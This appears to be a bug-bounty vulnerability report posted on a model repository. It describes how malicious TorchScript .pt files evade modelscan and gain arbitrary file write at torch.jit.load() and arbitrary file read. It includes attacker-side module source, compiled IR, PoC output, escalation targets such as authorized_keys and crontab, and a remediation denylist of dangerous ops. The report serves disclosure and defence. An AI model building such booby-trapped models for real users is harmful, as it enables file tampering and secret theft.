You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

modelscan misses TorchScript code-section file I/O: scripted __setstate__/forward perform arbitrary file write at torch.jit.load() and arbitrary file read/exfil, while modelscan reports 0 issues

Target / scope

  • huntr "Affected" dropdown: protectai/modelscan
  • Affected tool / version: modelscan 0.8.8 (latest at time of writing; the affected code path is unchanged on main). Reproduced with PyTorch 2.12.0.
  • Vulnerability class: Scanner bypass (detection gap) leading to arbitrary file write (at model-load time, pre-inference) and arbitrary file read / exfiltration.
  • Format: PyTorch TorchScript .pt (zip-format produced by torch.jit.save). .pt/.pth/.ckpt/.bin are all routed identically by modelscan.

Severity (honest)

Medium–High; dollar tier: up to ~$1,500 (pickle/PyTorch-family ceiling).

modelscan's own threat model is "detect unsafe code in a model so you can refuse to load it." This finding defeats that for the entire TorchScript surface: a model that is malicious by inspection passes with 0 issues, and merely calling torch.jit.load() on it β€” the exact action the scanner exists to gate β€” already writes an attacker-controlled file to an attacker-controlled absolute path.

I am being deliberately precise about impact tiering:

  • Confirmed primitives (demonstrated below):
    • Scanner bypass β€” modelscan returns total_issues: 0 on an obviously-malicious model.
    • Arbitrary file WRITE at torch.jit.load() time (via scripted __setstate__), to any absolute path the loading process can write (PoC writes to the OS temp dir, outside the model directory).
    • Arbitrary file WRITE at first inference (via scripted forward).
    • Arbitrary file READ / exfiltration (via aten::from_file): the bytes of any file the process can read become the model's normal output tensor.
  • Not directly demonstrated (so not claimed as proven): turnkey RCE. The load-time arbitrary file write is a textbook RCE primitive (overwrite ~/.bashrc, a Python file already on the import path, a crontab, an authorized_keys, a CI artifact, etc.), but I am not shipping a write-to-startup chain here, so I rank this as file-access, not RCE, per honest convention. RCE > file-access > DoS; this sits at file-access with a credible escalation path.

.pt/TorchScript is in the pickle/PyTorch family, so I peg the realistic bounty ceiling at ~$1,500, not the $4k tier reserved for .joblib/.keras/.gguf/.safetensors/TF-SavedModel.

Summary

modelscan treats a .pt as a generic zip: it unzips it and dispatches each inner member to a scanner by file extension. The only members that get scanned are the inner pickle streams (data.pkl, constants.pkl). The executable TorchScript code section β€” code/__torch__/<module>.py, the compiled TorchScript IR that actually runs on load and inference β€” is given no scanner and is reported as SCAN_NOT_SUPPORTED.

An attacker therefore puts nothing dangerous in the pickle streams (so the pickle scanner is happy) and instead authors the malicious behavior in scripted methods. TorchScript exposes file-I/O builtins that compile straight into the IR:

  • torch.save(obj, path) β†’ aten::save β†’ arbitrary file write
  • torch.from_file(path, ...) β†’ aten::from_file β†’ arbitrary file read

__setstate__ runs during torch.jit.load() (before any inference), and forward runs on first inference. Both are invisible to modelscan.

Root cause (file:line)

modelscan 0.8.8, installed tree paths shown.

  1. The PyTorch scanner deliberately abandons every modern (zip) .pt. modelscan/scanners/pickle/scan.py, PyTorchUnsafeOpScan.scan:

    # lines 27-29
    if _is_zipfile(model.get_source(), model.get_stream()):
        return None
    

    torch.jit.save always emits a zip (PK\x03\x04), so _is_zipfile is True and the PyTorch scanner returns None for the container β€” it never disassembles the model as a unit, so it never sees the TorchScript IR.

  2. The container is then unzipped and members are re-dispatched by extension. modelscan/modelscan.py, ModelScan._iterate_models (lines 94-112): for a zip, modelscan iterates zip.namelist() and yields each inner file as its own Model, keyed by its name/suffix.

  3. Extension β†’ format mapping assigns a format only to known extensions. modelscan/middlewares/format_via_extension.py (lines 8-15) maps suffix β†’ format using DEFAULT_SETTINGS["middlewares"][...]["formats"] in modelscan/settings.py (lines 75-93). The inner members are:

    • …/data.pkl, …/constants.pkl β†’ suffix .pkl β†’ PICKLE β†’ scanned by scan_pickle_bytes.
    • …/code/__torch__/<mod>.py β†’ suffix .py β†’ no format β†’ no scanner.
    • …/data/0, …/version, …/byteorder β†’ no recognized suffix β†’ no scanner.
  4. Members with no format match no scanner and are silently skipped. modelscan/modelscan.py, _scan_source (lines 209-219): if no scanner claimed the member, it is appended to skipped as SkipCategories.SCAN_NOT_SUPPORTED. The dangerous code/__torch__/<mod>.py lands here.

Net: there is no code path in modelscan that ever parses TorchScript IR. The pickle allowlist in settings.py (unsafe_globals) is irrelevant because the attack uses zero pickle reduce gadgets β€” it uses TorchScript builtins (aten::save / aten::from_file) that live in the code section the scanner refuses to read.

Proof of Concept

Build (what the attacker ships)

The attacker authors a normal torch.nn.Module whose scripted methods call the file-I/O builtins, then torch.jit.save it. The malicious calls compile into code/__torch__/<mod>.py inside the .pt. Minimal source (evil_mod_template.py, paths baked in as string literals β€” TorchScript cannot close over Python globals):

class Evil(torch.nn.Module):
    def __init__(self):
        super().__init__()
        self.w = torch.nn.Parameter(torch.zeros(1))

    @torch.jit.export
    def __setstate__(self, state):
        # type: (Tuple[Tensor, bool]) -> None
        # *** Executes at torch.jit.load() time ***
        self.w = state[0]
        self.training = state[1]
        torch.save(self.w, "<ABSOLUTE_PATH>")     # -> aten::save (arbitrary WRITE)

    def forward(self, x):
        # *** Executes at first inference ***
        torch.save(x, "<ABSOLUTE_PATH>")          # -> aten::save (arbitrary WRITE)
        return x + self.w

Read primitive (evil_read_template.py):

    def forward(self, n):
        # type: (int) -> Tensor
        return torch.from_file("<SECRET_PATH>", False, n, dtype=torch.uint8)  # arbitrary READ

Compiled TorchScript IR that modelscan never reads

malicious_write.pt β†’ code/__torch__/evil_mod.py (dumped from the zip):

def forward(self, x: Tensor) -> Tensor:
    _0 = "…/PWNED_AT_INFERENCE.bin"
    torch.save(x, _0)
    w = self.w
    return torch.add(x, w)
def __setstate__(self, state: Tuple[Tensor, bool]) -> NoneType:
    _1 = "…/PWNED_AT_LOAD.bin"
    self.w = (state)[0]
    self.training = (state)[1]
    w = self.w
    torch.save(w, _1)
    return None

Assertions and captured output

Run on Windows with the same loader/scanner versions (reproduce.py uses portable /tmp + /etc/passwd targets on Linux, falling back to a temp dir on Windows). All five assertions pass:

=== TorchScript code section modelscan does NOT scan: malicious_write/code/__torch__/evil_mod.py ===
def forward(self, x: Tensor) -> Tensor:
    _0 = "…/PWNED_AT_INFERENCE.bin"
    torch.save(x, _0)
    ...
  def __setstate__(self, state: Tuple[Tensor, bool]) -> NoneType:
    _1 = "…/PWNED_AT_LOAD.bin"
    ...
    torch.save(w, _1)

[1] modelscan scan of malicious_write.pt
    modelscan total_issues : 0 {'LOW': 0, 'MEDIUM': 0, 'HIGH': 0, 'CRITICAL': 0}
    modelscan scanned_files: ['malicious_write.pt:malicious_write\\data.pkl',
                              'malicious_write.pt:malicious_write\\constants.pkl']
    >>> modelscan reports CLEAN (0 issues): True

[2] torch.jit.load(malicious_write.pt) -> triggers __setstate__
    >>> LOAD-TIME arbitrary file write at …/PWNED_AT_LOAD.bin : True (1180 bytes)

[3] first inference -> triggers forward()
    >>> INFERENCE-TIME arbitrary file write at …/PWNED_AT_INFERENCE.bin : True (1180 bytes)

[4] arbitrary file READ via malicious_read.pt (aten::from_file)
    modelscan total_issues : 0 {'LOW': 0, 'MEDIUM': 0, 'HIGH': 0, 'CRITICAL': 0}
    target read   : …/SECRET_FILE.txt
    recovered (head): 'TOP-SECRET-CONTENTS-1234567890'
    >>> file contents exfiltrated through model output: True

VERDICT
{
  "modelscan_clean_write_model": true,
  "modelscan_clean_read_model": true,
  "load_time_file_write": true,
  "inference_time_file_write": true,
  "arbitrary_file_read_exfil": true
}
PoC SUCCESS (scanner bypass + file write + file read): True

A second variant (run_traversal_poc.py) confirms the write lands outside the model directory, in the OS temp dir (%TEMP% / /tmp), proving the path is fully attacker-controlled and not confined to the unpack location:

target (outside model dir): …/Temp/MODELSCAN_BYPASS_PWNED.bin
modelscan total_issues: 0 {'LOW': 0, 'MEDIUM': 0, 'HIGH': 0, 'CRITICAL': 0}
file written to OS temp at load time: True size: 1180
SUCCESS: True

One-command reproduction

python reproduce.py

Self-contained: builds the models, prints the un-scanned IR, runs modelscan, loads the model, and asserts scanner-bypass + load-time write + inference write + file-read exfil. Exit 0 == confirmed. No network.

Impact / realistic threat model

modelscan is positioned as the gate you run on a third-party model before loading it (Hugging Face download, model registry, supply-chain artifact). A defender who scans a TorchScript .pt, sees 0 issues, and proceeds to torch.jit.load() it gets:

  1. Pre-inference arbitrary file write to an absolute attacker-chosen path, in the loader's user/security context, the instant they call torch.jit.load(). No inference required. This is the standard stepping-stone to code execution (overwrite a file already on PYTHONPATH/sys.path, a shell rc file, a unit/cron file, CI build output, etc.).
  2. Arbitrary file read / exfiltration: any file the process can read (/etc/passwd, cloud-credential files, .env, SSH keys, other models/datasets) is returned as the model's normal output tensor β€” exfiltration that looks exactly like ordinary inference output and triggers nothing in modelscan.

Because the trigger is torch.jit.load() itself, "scan, then load if clean" β€” the workflow modelscan is built to enable β€” is precisely the workflow this defeats.

Honest duplication / novelty / scope note

  • Scope: protectai/modelscan is a maintained ProtectAI project and is the canonical target for this class on huntr (TF ReadFile/WriteFile op-detection and pickle-gadget reports against modelscan have been accepted historically). The affected tool here is unambiguously modelscan, not modelaudit/picklescan, and the format is genuine first-class PyTorch TorchScript .pt, not an exotic format (tensorizer/ggml/orbax). I therefore do not flag a scope concern β€” this is squarely in modelscan's stated coverage (it explicitly claims PyTorch support and ships a PyTorchUnsafeOpScan). The novelty is that the PyTorch scanner self-disables on every zip-format .pt and nothing inspects the TorchScript IR.
  • Relationship to known issues: modelscan's PyTorch support targets the legacy/pickle representation and the TF ReadFile/WriteFile ops (see settings.py unsafe_tf_operators). There is no TorchScript IR analyzer. The class "pickle/TF op detection misses X" is known, but the specific bypass β€” the PyTorch scanner returns None on all zip .pt, and the TorchScript code section is dispatched to no scanner, so aten::save/aten::from_file in __setstate__/forward are never seen β€” is the concrete, reproducible gap reported here. The maintainer should confirm against their internal dedup, but I found no public advisory or issue describing the aten::save/aten::from_file TorchScript-IR primitive against modelscan.
  • Not claimed: I do not claim RCE was demonstrated. The demonstrated impact is scanner-bypass + arbitrary file write (load-time) + arbitrary file read.

Remediation

The root issue is that no component parses the TorchScript code section. Options, strongest first:

  1. Scan the TorchScript IR. When an inner member matches code/__torch__/**/*.py (or, better, when PyTorchUnsafeOpScan detects a torch.jit archive β€” presence of a code/ dir / constants.pkl), disassemble the IR and flag a denylist of dangerous builtins/ops, at minimum: aten::save, aten::from_file, prim::PythonOp/prim::CallFunction into unsafe targets, and any op that performs file/network/process I/O. Mirror the existing unsafe_tf_operators approach but for ATen ops.
  2. Stop silently skipping the code section. _scan_source should not emit a quiet SCAN_NOT_SUPPORTED for code/__torch__/*.py inside a recognized PyTorch zip; an un-scannable executable code section in a model that the tool claims to support should be surfaced as at least a warning/HIGH "unscanned executable code" issue, so 0 issues is never returned for a TorchScript model the scanner cannot actually vet.
  3. Don't let PyTorchUnsafeOpScan return None on zip .pt. The early return None at pickle/scan.py:28 means the PyTorch scanner contributes nothing for every modern .pt. It should instead route zip .pt into a TorchScript-aware analyzer rather than relying solely on per-member extension dispatch.

A defense-in-depth note for users (not a fix for the tool): treat torch.jit.load() of untrusted models as code execution regardless of scanner output.

Files in this submission

  • reproduce.py β€” single self-contained reviewer script (portable /tmp + /etc/passwd on Linux; temp-dir fallback elsewhere). Exit 0 on success.
  • build_malicious.py, evil_mod_template.py, evil_read_template.py, evil_traversal_template.py β€” minimal attacker-side builders/source.
  • run_poc.py, run_read_poc.py, run_traversal_poc.py β€” the three decisive PoCs (write+bypass / read+exfil / write-outside-model-dir).
  • malicious_write.pt, malicious_read.pt β€” sample malicious TorchScript models (benign payload: writes small marker files / reads a chosen file).
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support